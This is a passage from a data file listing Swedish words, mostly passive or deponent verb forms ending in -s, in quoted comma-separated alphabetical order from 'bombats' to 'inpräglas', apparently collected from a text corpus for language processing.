","bombats","bombhotades","bombhotas","bombhotats","bommades","bommats","bonades","bonas","bönhördes","bordades","bordlades","bordläggas","bordläggs","bordlagts","börgades","börjades","börjas","borrades","borras","borrats","börsintroducerades","börsintroduceras","börsnoterades","börsnoteras","börsnoterats","börsstoppades","borstas","bortauktioneras","bortdribblas","bortfördes","bortförklaras","bortförklarats","bortförlovades","bortförts","bortopereras","borträknats","bortrationaliserades","bortrationaliseras","bortses","borttages","bortträngts","bortväljes","botades","botas","botats","bötfällas","bötfälldes","bötfälls","bötfällts","bothas","bötläggas","böts","bottenskrapades","bottenskrapats","bottnas","bräckas","brackets","bräcks","bräcktes","brädas","bräddas","bråddes","brädfodras","bragtes","bragts","bråkades","bråkas","bråkats","brandmärkts","brandskattas","brännmärkas","brännmärks","brännmärktes","branns","brännskadades","bräserats","brassades","breakas","bredas","breddades","breddas","breddats","breddes","brehmers","bres","bretts","bricoles","bringas","bringats","broddas","broderades","broderas","broderats","brölas","bromsades","bromsas","bromsats","bröts","brudås","brugueras","brukades","brukas","brukats","brunsminkades","brutaliseras","brutaliserats","brutits","bryggas","brynas","bryns","bryssellörs","brytas","brytes","bryts","buades","buas","buats","budades","budgeterades","budgeteras","budgeterats","buffas","bugas","buggas","bullerbegränsas","bullerisoleras","bultas","bundes","bundits","buntas","buntats","buras","burits","burrades","busats","bussades","bussas","bussats","buteljeras","buteljerats","bygdes","byggas","byggdes","bygges","byggnadsminnesförklarades","byggnadsminnesförklaras","byggnadsminnesmärks","byggs","byggstartas","byggts","bykas","bytas","bytits","byts","byttes","bytts","caceres","cajs","cambrils","camoufleras","capras","carlshamns","catenas","celebrerades","celebreras","cementas","cementerades","cementeras","cementerats","censurerades","censureras","censurerats","centimes","centraldirigeras","centraliserades","centraliseras","centraliserats","centralregleras","centralstyrs","centras","centrats","centrifugerats","centrsimes","ceres","certifierats","charmades","charmas","charmats","chartras","chartrats","checkas","chiapas","chikanerats","chines","chivas","chockades","chockas","chockats","chockerades","chockeras","chockhöjs","chockskadades","chockskadas","christmas","cirkuleras","citerades","citeras","citerats","civiliseras","coachas","components","comviqs","contras","cripps","crosscheckades","cruises","cuplottades","cyberfrogs","cyklas","däckades","däckas","däckats","dagits","daglidags","dalaras","dalas","daltades","daltas","dämdes","dammades","dammas","dämmas","dammats","dammsögs","dammsugits","dammsugs","dammtorkas","dämpades","dämpas","dämpats","däms","dämts","danades","danas","danats","danidas","daniells","dansades","dansas","dansats","darras","das","databaseras","databehandlas","daterades","dateras","daterats","datoriseras","dealas","debatterades","debatteras","debatterats","debiteras","debiterats","decentraliserades","decentraliseras","dechiffreras","decimaliseras","decimerades","decimeras","decimerats","dedicerades","defineras","definierades","definieras","definierats","deformeras","deformerats","degas","degenererats","degraderades","degraderas","degraderats","degradras","deklamerades","deklameras","deklarerades","deklareras","deklarerats","dekonstruerades","dekonstrueras","dekonstruerats","dekorerades","dekoreras","dekorerats","dekrypteras","delades","delas","delats","delegerades","delegeras","delegerats","delexpedieras","delfinansierades","delfinansieras","delgavs","delges","delgetts","delgivits","deltas","delvalveras","demaskerades","demaskeras","dematerialiseras","dementerades","dementeras","dementerats","demilitariserats","demobiliserades","demobiliseras","demokratiserades","demokratiseras","demokratiserats","demolerades","demoleras","demolerats","demoniseras","demonstrerades","demonstreras","demonstrerats","demonterades","demonteras","demystifieras","deponeras","deponerats","deporterades","deporteras","deporterats","deppas","desarmerades","desarmerats","deserves","designas","designats","desillusioneras","desinficeras","desinficerats","desorienteras","destabiliserades","destilleras","destillerats","destineras","destrueras","detaljgranskas","detaljregleras","detaljstuderas","detaljstyrs","detekteras","detroniserades","detroniseras","detroniserats","dettalas","devalverades","devalveras","devalverats","diagnosticerades","diagnosticeras","diagnosticerats","diagnostiserades","diagnostiseras","diagnostiserats","diagosticeras","diarieföras","diarieförs","diarieförts","dias","differentieras","differentierats","diggats","digitaliseras","digitaliserats","dikats","diktats","dikterades","dikteras","dikterats","dikvalificerats","dimensionerades","dimensioneras","dimensionerats","diminueras","dineras","diplomerades","directes","direktavskrivas","direktavvisas","direktkonfronterades","direktnoterades","direktsändas","direktsändes","direktsänds","direktsänts","direktteleviserades","direktväljas","dirigerades","dirigeras","dirigerats","disciplineras","diskades","diskas","diskats","diskonterades","diskonteras","diskonterats","diskrediterades","diskrediterats","diskriminerades","diskrimineras","diskriminerats","diskuterades","diskuteras","diskuterats","diskvalificerades","diskvalificeras","diskvalificerats","disponerades","disponeras","disponerats","disputerades","dissekerades","dissekeras","dissekerats","dissikerades","distanserades","distanseras","distraheras","distribuerades","distribueras","distribuerats","distribureras","dites","dittransporterats","diversifieras","divideras","dividerats","djäklas","djärvas","djärvdes","djärves","djävlades","djävlas","djilas","djupdykas","djupfrysas","djupfryses","djupintervjuas","djupintervjuats","dödades","dödas","dödats","dödförklarades","dödförklaras","dödförklarats","dödskallemärkas","dogs","dokes","dokumenterades","dokumenteras","dokumenterats","doldes","döljas","döljs","döljts","dollarras","dolts","domarbedömas","dömas","domderas","dömdes","dömes","domesticeras","domesticerats","dominerades","domineras","dominerats","dompteras","döms","dömts","donerades","doneras","donerats","döpas","dopingtestades","dopingtestas","doppades","doppas","doppats","döps","döptes","döpts","doserades","doseras","douradores","dövades","dövas","dövats","dövtolkas","drabbades","drabbas","drabbats","drabbbades","dracks","draftades","draftas","dragas","dragits","dramatiseras","dramatiserats","drämdes","dränerades","dräneras","dränerats","dränkas","dränkes","dränks","dränktes","dränkts","dräpas","draperades","draperas","draperats","dräps","dräptes","dras","dreams","drejades","drejats","dressas","dresseras","dresserats","dressyrbas","drevades","drevs","dribblades","dribblas","dribblats","drickas","drickes","drillades","drillas","drillats","drivas","drives","drivgas","drivits","drivs","drogades","drogas","drogats","drogs","drogtestats","drömdes","drömmas","droppades","druckits","drukpas","dryftades","dryftas","dryftats","drygades","dubbas","dubbats","dubbelexponeras","dubbelriktas","dubblades","dubblas","dubblats","dubblerades","dubbleras","dubblerats","dukades","dukas","dukats","dumpades","dumpas","dumpats","dunas","dundrades","dundras","dunkades","dunkas","duperades","duperas","duperats","duplicerades","durres","duschades","duschas","dvaldes","dväljs","dvalts","dyrkades","dyrkas","ebbas","effektiverades","effektiveras","effektiviserades","effektiviseras","effektiviserats","effektueras","effektureras","efteranmäldes","efterbildas","efterföljas","efterföljdes","efterföljs","efterfrågades","efterfrågas","efterfrågats","efterhördes","efterkomposteras","efterlämnades","efterlämnas","efterlevas","efterlevdes","efterlevs","efterliknats","efterlysas","efterlyses","efterlystes","efterlysts","eftersänds","eftersänts","eftersättas","eftersattes","eftersatts","eftersätts","efterskänkas","eftersökas","eftersöks","eftersöktes","efterspanas","eftersträvades","eftersträvas","eftersynkroniseras","eftertaxerades","efterträdas","efterträddes","efterträdes","efterträds","efterträtts","eggades","eggas","eggers","ekas","ekiperats","eklärerades","eklaterades","eklateras","eklaterats","eldades","eldas","eldats","eldhärjades","eldhärjas","eldhärjats","elektras","elektrifierades","elektrifieras","eliminerades","elimineras","eliminerats","elitiseras","ellerströms","emballerades","emitterades","emitteras","emotsågs","emotses","emottagas","emottas","emtungas","enades","enas","enats","engagerades","engageras","engagerats","engagererats","engells","enhetliggöras","enkelriktades","enkelriktas","enkelriktats","enleverades","enleveras","enrollerades","enrolleras","enrollerats","enskommits","entledigades","entledigas","entledigats","entusiasmeras","envisades","envisats","erades","erbjöds","erbjudas","erbjudes","erbjudits","erbjuds","erfaras","erfodras","erfordrades","erfordras","erfors","erhållas","erhålles","erhållits","erhålls","erhölls","erinrades","erinras","erkändes","erkännas","erkännes","erkännnas","erkänns","erkänts","erlades","erläggas","erlägges","erläggs","erlagts","eroderas","erotiseras","erövrades","erövras","erövrats","ersättas","ersattes","ersättes","ersatts","ersätts","ertappades","ertappas","ertappats","esbjörs","eskaleras","eskorterades","eskorteras","eskorterats","esseltes","estetiseras","etablerades","etableras","etablerats","etappindelas","etiketterades","etiketteras","etnifieras","etnifierats","etsades","etsas","eudokias","europeiseras","europes","evakuerades","evakueras","evakuerats","evalueras","everglades","evkuerats","examinerades","examineras","examinerats","exekverades","exekveras","exemplifieras","exkluderas","exkluderats","exkommuniceras","expanderas","expedierades","expedieras","experimenterades","experimenteras","experimenterats","explicitgjorts","exploaterades","exploateras","exploaterats","exponerades","exponeras","exponerats","exporterades","exporteras","exporterats","expropieras","exproprierades","exproprieras","extrainkallas","extraskjuts","fackbas","fägnats","fajtades","fajtas","fajtats","fäktades","fäktas","fakturerades","faktureras","fakturerats","fållas","fällas","fälldes","falles","falls","fälls","fällts","falsifieras","fältprovas","famnas","fångades","fångas","fångats","fängslades","fängslas","fängslats","fanzines","fårades","färas","fårats","färdigbehandlas","färdigförhandlades","färdigrepareras","färdigspelades","färdigspelas","färdigspelats","färdigställas","färdigställdes","färdigställs","färdigställts","färdigutrustas","fares","färgades","färgas","färgats","färgläggas","färgläggs","färgsättas","färgsattes","färgsätts","färjades","färjas","farpas","fås","fasadputsas","fasas","fascinerades","fascineras","fascinerats","fassetts","fästas","fästes","fastlades","fastläggas","fastlagts","fastnades","fästs","fastslagits","fastslås","fastslogs","fastställas","fastställdes","fastställs","fastställts","fattades","fattats","fattiggjorts","fåtts","favoriserades","favoriseras","favoriserats","favoritspelas","faxades","faxats","fejas","felbalanserades","felbedöms","felbetonades","felciteras","felkopplas","felsökas","feltolkades","feltolkas","feltolkats","femdubblades","femdubblas","femdubblats","femfaldigades","femfaldigats","feminiseras","femmes","fermentas","fernissas","fes","festades","festas","festes","festplats","fickparkeras","fifflas","fightades","fightas","fightats","figueras","figureras","fikas","fiktionaliserats","filas","filmades","filmas","filmatiserades","filmatiseras","filmatiserats","filmats","filmtricks","filotas","filtreras","filtrerats","fimpas","fimpats","finalbesegrades","finalbrottas","finaniseras","finanseras","finanserats","finanserias","finansierades","finansieras","finansierats","finansierieras","finfördelats","fingeras","fingranskas","fininställas","fininställs","finjusteras","finkammades","finkammas","finkammats","finkrattats","finnes","finnns","finputsas","finputsats","finslipas","finslipats","fintades","fintas","firades","firas","firats","fiskades","fiskas","fiskats","fixades","fixas","fixats","fixerades","fixeras","fixerats","fjärmas","fjärrstyras","fjärrstyrs","fjärtas","fjäskas","fjättrades","fjättrats","fläckades","fläckas","fläckats","flåddes","flaggades","flaggas","flaggats","fläkas","flakes","flamberats","flankerades","flankeras","flätades","flätas","flätats","flerdubblades","flerdubblas","flerdubblats","flerfaldigas","flerfaldigats","flintstones","flirtas","flögs","flörtas","flottades","flugits","flyers","flygas","flygbesprutas","flygbombades","flygbombas","flygbombats","flygfotograferades","flygpats","flygs","flyttades","flyttas","flyttats","fnissas","fnissats","fnös","fnystes","födas","födddes","föddes","föds","fogades","fogas","fogats","fögelkes","föjdes","fokuserades","fokuseras","fokuserats","föläggs","följas","följdes","följs","följts","folkas","fonderades","fonderas","fonderats","fönsterspröjs","förädlades","förädlas","förädlats","föraktades","föraktas","föraktats","föräldrarsomdeklasserats","förändats","förändrades","förändrarts","forandras","förändras","forändrats","förändrats","förångades","förångas","förångats","förankrades","förankras","förankrats","föranledas","föranleddes","föranleds","föranletts","föranmälts","förannonserats","föranstaltades","förärades","föräras","förärats","förargas","förargats","föras","förbands","förbannades","förbannas","förbannats","förbättrades","förbättras","förbättrats","förbegicks","förbehållas","förbehållits","förbehålls","förbehandlas","förbehölls","förberdas","förberedas","förbereddes","förberedes","förbereds","förberetts","förbeställas","förbeställts","förbigås","förbigåtts","förbigicks","förbindas","förbinds","förbisågs","förbises","förbisetts","förbittrades","förbjöds","förbjudas","förbjudes","förbjudits","förbjuds","förblandades","förblandas","förblindades","förblindas","förblindats","förbluffades","förbluffas","förborgerligades","förborgerligas","förborgerligats","förbrändes","förbrännas","förbränns","förbränts","förbrödrades","förbrödras","förbrukades","förbrukas","förbrukats","förbryllades","förbryllas","förbryllats","förbuskats","förbyggts","förbytas","förbyts","förbyttes","förbytts","forcerades","forceras","forcerats","fördärvades","fördärvas","fördärvats","fördelades","fördelas","fördelats","fördeltas","fördes","fördjupades","fördjupas","fördjupats","fördömas","fördömdes","fördöms","fördömts","fordrades","fördragas","fördrages","fordras","fördras","fordrats","fördrevs","fördrivas","fördrivits","fördrivs","fördröjas","fördröjdes","fördröjes","fördröjs","fördröjts","fördubblades","fördubblas","fördubblats","fördummas","fördunklades","fördunklas","fördunklats","fördyrades","fördyras","fördyrats","fördystrades","förebådades","förebådas","förebådats","föreberedas","förebragts","förebrås","förebyggas","förebyggs","föredömdes","föredrages","föredras","föredrogs","föregås","föregåtts","föregicks","föregreps","föregripits","föregrips","föreknippas","förekommas","förekommits","förelades","föreläggas","föreläggs","förelagts","förelås","förelästes","förenades","förenas","förenats","förenhetligas","förenklades","förenklas","förenklats","föres","föreskrevs","föreskrivas","föreskrivs","föreslagits","föreslås","föreslogs","förespås","förespeglades","förespeglas","förespeglats","förespråkades","förespråkas","förespråkats","föreställas","föreställdes","föreställs","förestås","förestods","forests","företagas","företagits","företas","företeddes","företogs","företrädas","företräddes","företräds","förevigades","förevigas","förevigats","förevisades","förevisas","förevisats","förfäktas","förfalskades","förfalskas","förfalskats","förfärades","förfäras","förfärats","förfärdigades","förfärdigats","förfares","förfasades","förfasas","författades","författas","författats","förfelades","förfelas","förfinades","förfinas","förfinats","förfinskas","förflackas","förflackats","förflyktats","förflyktigades","förflyktigas","förflyktigats","förflyttades","förflyttas","förflyttats","förföljas","förföljdes","förföljs","förföljts","förföras","förfördelas","förfördes","förförs","förförts","förfranskas","förfrös","förfulas","förfulats","förfuskades","förfuskas","förfuskats","förgasades","förgasas","förgasats","förgiftades","förgiftas","förgiftats","förglömmas","förgöras","förgrovades","förgrovas","förgrovats","förgrymmas","förgubbas","förgudas","förgylldes","förgylls","förgyllts","förhalades","förhalas","förhalats","förhållas","förhånades","förhånas","förhånats","förhandlades","förhandlas","förhandlats","förhandscensureras","förhandsetiketteras","förhandsgranskas","förhandsnomineras","förhandsvisades","förhärdas","förhärligades","förhärligas","förhäxas","förhindrades","förhindras","förhindrats","förhöjas","förhöjs","förhöras","förhördes","förhörs","förhörts","förintades","förintas","förintats","förjagas","förkalkas","förkapslats","förkastades","förkastas","förkastats","förkläds","förklarades","förklarars","förklaras","förklarats","förknippades","förknippas","förknippats","förkortades","förkortas","förkortats","förkroppsligas","förkrossas","förkunnades","förkunnas","förkunnats","förkvävas","förkvävs","förlades","förläggas","förläggs","förlagts","förlamades","förlamas","förlamats","förlänades","förlänas","förlänats","förlängas","förlängdes","förlängs","förlängts","förlåtas","förlåts","förläts","förledas","förledes","förleds","förletts","förlikades","förlikas","förlikats","förliknas","förliks","förliktes","förlikts","förljuvades","förlöjligades","förlöjligas","förlöjligats","förlorades","förloras","förlorats","förlösas","förlöses","förlöstes","förlustanmälas","förmåddes","formades","formaliserades","formaliseras","förmanades","förmanas","förmånsbeskattades","förmånsbeskattas","förmänskligades","förmänskligas","förmärkas","förmärks","förmärktes","förmärkts","formas","förmås","formats","förmåtts","förmedlades","förmedlas","förmedlats","förmenades","förmenas","förmenats","formerades","formeras","förmeras","formerats","förmerats","formges","formgetts","formgivits","förminskades","förminskas","förminskats","förmodades","förmodas","förmögenhetsbeskattas","förmörkades","förmörkas","förmörkats","formsprutas","formulerades","formuleras","formulerats","förnams","förnedrades","förnedras","förnedrats","förnekades","förnekas","förnekats","förnimmas","förnims","förnöjts","förnyades","förnyas","förnyats","förödas","föröddes","förödes","förodlas","förödmjukades","förödmjukas","förödmjukats","föröds","förökas","förökats","förolämpas","förolämpats","förolyckades","förolyckas","förolyckats","förolycklades","förorättats","förordades","förordas","förordats","förordnades","förordnas","förordnats","förorenas","förorenats","förorsakades","förorsakas","förorsakats","förövades","förövas","förövats","förpackades","förpackas","förpackats","förpassades","förpassas","förpassats","förpasssades","förpestades","förpestas","förpliktades","förpliktas","förpuppades","förpuppas","förråats","förrådas","förråddes","förräntas","förrättades","förrättas","förrättats","förringades","förringas","förringats","förrycks","förrycktes","fors","förs","försågs","försakas","försäkrades","försäkras","försäkrats","försåldes","försäljas","försäljes","församhälleligats","församlades","försämrades","försämras","försämrats","försänkas","försättas","försattes","försatts","försätts","förseglades","förseglats","forselles","försenades","försenas","försenats","förses","försetts","försinkas","forskades","forskas","forskats","förskingrades","förskingras","förskingrats","förskjöts","förskjutas","förskjutits","förskjuts","förskonades","förskonas","förskönas","förskonats","förskönats","försköts","förskräckas","förskräckes","förskräcks","förskrivas","förskrivits","förskrivs","forslades","förslagits","förslappats","forslas","förslås","forslats","förslavas","förslavats","förslits","förslöats","förslogs","förslösades","förslösas","förslösats","förslummades","förslummas","förslutits","försmåddes","försnävas","försnillas","försökas","försöktes","försonades","försonas","försonats","försörjas","försörjdes","försörjs","försörjts","förspillas","förspilldes","förspills","förspordes","försports","försprödas","förstärkas","förstärks","förstärktes","förstärkts","förstås","förståss","förstatligades","förstatligas","förstatligats","förståtts","förstenades","förstenas","förstods","förstoppas","förstorades","förstoras","förstöras","förstorats","förstördes","förstörs","förstörts","förströddes","förströs","förstuckits","förstummades","förstummas","förstummats","försummades","försummas","försummats","försumpats","försuras","försvagades","försvagas","försvagats","försvarades","försvårades","försvaras","försvåras","försvarats","försvårats","försvenskas","försvenskats","försvunnes","förtages","förtalas","förtalats","förtäljas","förtamats","förtäras","förtärdes","förtärs","förtärts","förtas","förtås","förtätades","förtätas","förtätats","fortbildas","förtecknas","förtecknats","förtegs","förtidsinlösas","förtidspensionerades","förtidspensioneras","förtidspensionerats","förtigas","förtiges","förtigits","förtigs","förtingligas","förtjänas","förtjänats","förtjusas","förtjustes","förtöjas","förtöjdes","förtöjs","förtorkats","fortplantades","fortplantas","förtrampades","förträngas","förträngs","förtrollades","förtrollas","förtröttades","förtröttas","förtröttats","förtryckas","förtrycks","förtrycktes","förtryckts","förts","fortsättas","fortsattes","förtullades","förtullas","förtunnades","förtunnas","förtydligades","förtydligas","förundrades","förundradts","förundras","förundrats","förunnades","förunnas","förunnats","förustspås","förutbestäms","förutsades","förutsägas","förutsågs","förutsägs","förutsagts","förutsättas","förutsattes","förutsättes","förutsatts","förutsätts","förutses","förutsetts","förutskickades","förutskickas","förutspåddes","förutspås","förutspåtts","förvägrades","förvägras","förvägrats","förvälls","förvaltades","förvaltas","förvaltats","förvånades","förvånas","förvånats","förvandlades","förvandlas","förvandlats","förvänds","förvanskades","förvanskas","förvanskats","förväntades","förväntas","förväntats","förvarades","förvaras","förvarats","förvärms","förvarnas","förvarnats","förvärrades","förvärras","förvärrats","förvärvades","förvärvas","förvärvats","förväxlades","förväxlas","förväxlats","förvedas","förvekligades","förvekligas","förverkas","förverkats","förverkligades","förverkligas","förverkligats","förvillas","förvirrades","förvirras","förvisades","förvisas","förvisats","förvissades","förvrängas","förvrängdes","förvrängs","förvrängts","förvreds","förvridas","förvridits","förvrids","föryngrades","föryngras","föryngrats","fös","fösas","föses","fosforyleras","föstes","fostrades","fostras","fostrats","fösts","fotats","fotodokumenterades","fotograferades","fotograferas","fotograferats","fotokopieras","fötts","frågades","frågasättas","frågats","fragmenteras","fragmentiserades","fraktades","fraktas","fraktats","fräls","frälsas","framarbetats","frambäras","frambäres","frambesvärjas","frambesvärjs","frambringats","framdrivits","framflyttats","framföras","framfördes","framföres","framförhandlades","framförhandlats","framförs","framförts","framfötts","framhållas","framhålles","framhållits","framhålls","framhävas","framhävdes","framhävs","framhölls","främjades","främjas","främjats","framkallades","framkallas","framkallats","framkastades","framkastas","framlades","framläggas","framlagts","framledes","frammanas","framräknas","framräknats","framställas","framställdes","framställs","framställts","framtagits","framtvingas","framtvingats","frångås","frånhändas","frånkännas","frankeras","frankerats","frånräknas","fransats","fråntagits","fråntas","fråntogs","frapperades","frapperas","frapperats","fräs","fräschades","fräschats","fräses","frästs","fräts","frättes","frätts","fredades","fredas","freddes","fredells","fredrikornas","frekvensplaneras","frekventerades","frekventeras","freongas","frestades","frestas","frestats","friades","frias","friats","friderikas","fridlysas","fridlyses","fridlystes","frigavs","friges","frigetts","frigivits","frigjordes","frigjorts","frigöras","frigöres","frigörs","frihetsberövades","frikändes","frikännas","frikänns","frikänts","friklassas","frikopplades","frikopplas","frikopplats","friköptes","frilades","friläggas","friläggs","frisätts","friserades","friseras","friserats","friskförklarats","frisläppas","frisläpps","frisläpptes","frisläppts","frisöranställdas","frispelades","friställas","friställdes","friställs","friställts","fritagits","fritällts","fritas","friteras","friterats","fritidshemsplats","fritogs","frodades","frodas","frodats","fröjdades","fröjdas","frölundagrabbarnas","frontalpressades","frös","frossas","frössvettades","frostats","frotterades","frotteras","frotterats","frubjudas","fruktades","fruktas","fruktats","fruktmos","frusits","frustrerades","frustreras","frys","frysas","fryses","frystes","frysts","fudgsicles","fuentes","fuktades","fuktats","fulländades","fulländas","fullbordades","fullbordas","fullbordats","fullföljas","fullföljdes","fullföljs","fullföljts","fullförts","fullgjorts","fullgöras","fullgörs","fullkomnas","fullkomnats","funderades","funderas","funderats","funnes","fusionerades","fusioneras","fusionerats","fuskades","fuskas","fuskats","fylkades","fylkas","fylkats","fyllas","fylldes","fylles","fylls","fyllts","fyndas","fyrdubblades","fyrdubblas","fyrdubblats","fyrfaldigades","gäckades","gäckas","gäckats","gafflas","gagnades","gagnas","gagnats","galas","gäldas","gäldats","gales","gallottas","gallras","gallrats","galopperades","gals","gammeldags","gängas","gapas","garanterades","garanteras","garanterats","garderas","garnerades","garneras","garrotterades","garvats","gås","gasades","gasas","gäspas","gastades","gästades","gästas","gästats","gastkramades","gastkramats","gåtts","gaulles","gauloises","gavs","geddes","geels","gefundenes","gekås","genas","generades","generaliseras","generas","genererades","genereras","genererats","geniförklarades","geniförklarats","genmanipuleras","genmanipulerats","genmföras","gennes","genomblåsts","genomborrades","genomborras","genomborrats","genombröts","genombrutits","genomdrevs","genomdrivas","genomfares","genomfars","genomföras","genomfördes","genomfors","genomförs","genomförts","genomgås","genomgörs","genomkorsades","genomkorsas","genomläsas","genomleds","genomlidas","genomlidits","genomlids","genomlysas","genomskådades","genomskådas","genomskådats","genomskärs","genomsköljdes","genomsökas","genomsöks","genomsöktes","genomsökts","genomströmmades","genomströmmas","genomsyrades","genomsyras","genrebestämmas","gensköts","geomfördes","ges","gestaltades","gestaltas","gestaltats","getts","gicks","giftas","giftes","giftmördas","gifts","gillades","gillas","gillrades","gillras","gills","giltigförklarats","gipsas","gipsats","gissas","gisslas","givas","gives","givits","givs","gjirokastras","gjordes","gjöres","gjors","gjorts","gjöts","gjutas","gjutits","gjuts","gladdes","glädjas","glädjs","gläds","glammas","glamourdags","gläns","gläntades","glasas","glaseras","glatts","glesades","glesas","globaliseras","glömmas","glömmes","glöms","glorifierades","glorifieras","glunkas","gnabbades","gnabbandes","gnagdes","gnags","gnällts","gneds","gnetas","gnidas","gnidits","gnids","gnisslas","gnolas","gnolats","gnuggades","gnuggas","gnuggats","gödas","godkändes","godkännas","godkännes","godkänns","godkänts","gödslades","gödslas","gödslats","godspelas","godtagas","godtagits","godtas","godtogs","golas","golvades","golvats","gömdes","gömmas","göms","gömts","göras","göres","görs","gosas","götas","götes","göts","gottgöras","gottgörs","gräddades","gräddas","gräddsås","graderas","graderats","grälas","grälats","grämas","grammisbelönats","grändes","granquists","granskades","granskas","granskats","gränsöverskrids","gråtas","gratineras","gratinerats","gråts","gräts","grattas","gratulerades","gratuleras","grävas","grävdes","graveras","graverats","grävs","gravsättas","gravsattes","gravsatts","gravsätts","grävts","grejades","greps","grigorjevs","grillas","grillats","grimaseras","gripas","gripes","gripits","grips","groggys","gröps","gröpts","gros","grovhackas","grovindelas","grubblas","grumlades","grumlas","grummes","grundades","grundas","grundats","grundförstärkas","grundlades","grundläggas","grundlägges","grundläggs","grundlagsfästas","grundlagts","grundlurades","grundlurats","grundutbildas","grundutbildats","grupperades","grupperas","grupperats","gruppvåldtas","grusades","grusas","grusats","guidades","guidas","guidats","gullades","gungades","gynnades","gynnas","gynnats","gyttras","habermas","hackades","hackas","hackats","häcklades","häcklas","häcklats","hades","haemoplas","haffades","haffas","hafsas","hägnas","hägnats","hagsätras","hajas","hakades","hakas","hakats","hakkas","häktades","häktas","häktats","halades","halas","halats","hållas","hällas","hälldes","hålles","hälles","hållits","hålls","hälls","hållts","hällts","hälsades","halsas","hälsas","hälsats","halshöggs","halshuggas","halshuggits","halshuggs","hälsningstalas","halstrades","halstras","halvägs","halverades","halveras","halverats","halvglas","halvpensioneras","hamas","hämmades","hämmas","hämmats","hamnas","hamrades","hamras","hamrats","hämtades","hämtas","hämtats","hånades","hånas","hånats","handelsstoppades","handhas","handikappades","handikappanpassas","handikappas","handlades","handläggas","handläggs","handlagts","handlas","handlats","handlingsförlamas","handplockades","handplockas","handplockats","handskadades","handskades","handskas","handskats","handvevas","hänföras","hänfördes","hänförs","hänförts","hängas","hängdes","hänges","hängs","hängts","hanhals","hanns","hänryckas","hanses","hänskjutas","hänskjutits","hänskjuts","hänsköts","hånskrattas","hanterades","hanteras","hanterats","hänvisades","hänvisas","hänvisats","harangerades","harangeras","härbärgerades","härbärgeras","härbärgerats","härdades","härdas","härdats","hårdbantas","hårdbevakas","hårddrillas","hårdexploaterats","hårdgranskas","hårdlanserades","hårdlanseras","hårdpumpats","härjades","härjas","härjats","härledas","härleds","härletts","harmades","harmas","harmonieras","harmonierats","harmoniseras","härröras","härrydas","harvas","has","hasades","hässjades","hässles","hastas","hastats","hatades","hatas","haussades","haussas","håvas","hävas","hävdades","hävdas","hävdats","hävdes","häves","hävs","hävts","hedrades","hedras","hedrats","hejas","hejdades","hejdas","hejdats","helas","helgades","helgarderas","helgas","helgonförklarades","hellacopters","hells","helrenoverades","helrenoverats","helsingfors","heltidsanställs","helvittes","hemfördes","hemförlovades","hemförlovas","hemkallas","hemlighållas","hemlighållits","hemlighålls","hemlighölls","hemligstämplades","hemligstämplas","hemligstämplats","hemskjuts","hemsökas","hemsöks","hemsöktes","hemsökts","hetsades","hetsas","hetsats","hettades","hettas","hilaritas","himbas","himlalots","hindrades","hindras","hindrats","hinnas","hinns","hispaniseras","hissades","hissas","hissats","hitleriseras","hittades","hittas","hittats","hivades","hivas","hivinfekterades","hjälpas","hjälps","hjälpsåtts","hjälptes","hjälpts","hjärntvättats","hjärtopereras","hjärtopererats","hoas","höegs","höggs","högindustrialiseras","högpromiskuösas","högtalarförmedlas","högtidlighållas","högtidlighålls","höjas","höjdes","höjs","hojtas","höjts","höljas","höljdes","höljes","holkades","holkas","holkats","hölls","hollywoodiserades","homogeniserades","homogeniseras","honaratiores","honkas","honoreras","honorerats","hopfogades","hoppasts","horas","höras","hördes","höres","horisontaliseras","hormonstimulerats","hormontestas","hörs","hörsammades","hörsammas","hörsammats","hortas","hörts","hotades","hotas","hotats","hottas","hottats","höves","hudflängas","hudflängs","hudflängts","hudstrykas","huggas","huggits","huggs","hukandes","humaniserades","humaniseras","humaniserats","hummades","hundradubblats","hundratas","hunnits","hunsades","hunsas","hunsats","hurrades","hurras","hutades","hutas","huttlas","huttrades","huttras","hutus","huvudstas","hycklas","hyfsats","hygieniseras","hyllades","hyllas","hyllats","hypas","hypats","hyras","hyrdes","hyressättas","hyrs","hyrts","hys","hysas","hystes","hysts","hyvlades","hyvlas","iaktas","iaktatagas","iakttagas","iakttages","iakttagits","iakttas","iakttogs","idénförverkligades","identifierades","identifieras","identifieratas","identifierats","ideologiserats","idkades","idkas","idoliseras","idrottas","idrottsskadas","idylliseras","ifrågasättas","ifrågasattes","ifrågasättes","ifrågasatts","ifrågasätts","ifrågsattes","igångsättas","igångsattes","igångsatts","igångsätts","igenkännes","igenkänns","ignorerades","ignoreras","ignorerats","ihågkommas","ihågkommes","ihågkommits","ihågkoms","iklädas","ikläddes","ikläds","ikläs","iklätts","ilijas","illfänas","illuminerades","illumineras","illusteras","illustrerades","illustreras","illustrerats","illustrererades","illustrereras","imiterades","implementeras","imponerades","imponeras","imponerats","importerades","importeras","importerats","impregneras","impregnerats","improviserades","improviseras","improviserats","impulsas","inackorderades","inaktiveras","inandades","inandandes","inandas","inandats","inarbetades","inbegripas","inbegrips","inberäknas","inbesparas","inbetalas","inbillas","inbjöds","inbjudas","inbjudes","inbjudits","inbjuds","inblandades","inblandas","inböjds","indefinieras","indelades","indelas","indelats","indelsas","indentifierats","independentfilmernas","indikeras","individanpassas","individualiseras","individualiserats","indoktrineras","indoktrinerats","indragas","indunstas","industrialiserades","industrialiseras","industrialiserats","infångades","infångas","infasas","infattades","infattas","infekteras","infekterats","infiltrerades","infiltreras","inflammeras","inflammerats","inflationsskyddas","inflikas","influerades","influeras","influerats","infogades","infogas","infogats","införas","infördes","infordrades","infordras","infordrats","införes","införlivades","införlivas","införlivats","informerades","informeras","informerats","införs","införskaffades","införskaffas","införskaffats","införts","infriades","infrias","infriats","ingås","ingåtts","ingavs","inges","ingicks","ingjutits","ingjuts","inhägnas","inhägnats","inhämtades","inhämtas","inhämtats","inhandlades","inhandlas","inhandlats","inhängnas","inhiberades","inhiberas","inhöstats","inhysas","inhystes","inhysts","initierades","initieras","initierats","injicerades","injiceras","injicerats","inkallades","inkallas","inkallats","inkarnerades","inkarneras","inkasserades","inkluderades","inkluderas","inkluderats","inkoms","inkomstprövas","inköpas","inköptes","inköpts","inkorpererades","inkorporerades","inkorporeras","inkorporerats","inkrävas","inkvarterades","inkvarteras","inkvarterats","inlades","inlämnades","inlämnas","inlämnats","inlånades","inläras","inledas","inledddes","inleddes","inledes","inleds","inlemmades","inlemmas","inlemmats","inletts","inlevereras","inlevererats","inlines","inlösas","inlöses","inlöstes","inmonteras","inmundigades","inmundigas","innebrändes","innefattades","innefattas","innehades","innehafts","innehållas","innehållsdeklareras","innehas","inneslutas","innesluts","inordnades","inordnas","inordnats","inplaneras","inplanterades","inplanteras","inplanterats","inpräglas